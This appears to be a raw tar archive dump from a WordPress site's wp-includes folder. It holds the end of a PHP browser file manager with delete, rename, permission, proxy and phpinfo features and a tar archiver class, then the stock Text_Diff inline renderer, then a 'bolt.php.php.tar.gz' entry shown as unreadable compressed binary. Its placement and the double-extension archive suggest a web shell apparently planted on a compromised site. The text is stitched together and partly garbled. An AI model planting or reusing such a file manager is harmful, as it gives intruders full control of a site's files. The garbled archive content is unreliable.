		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
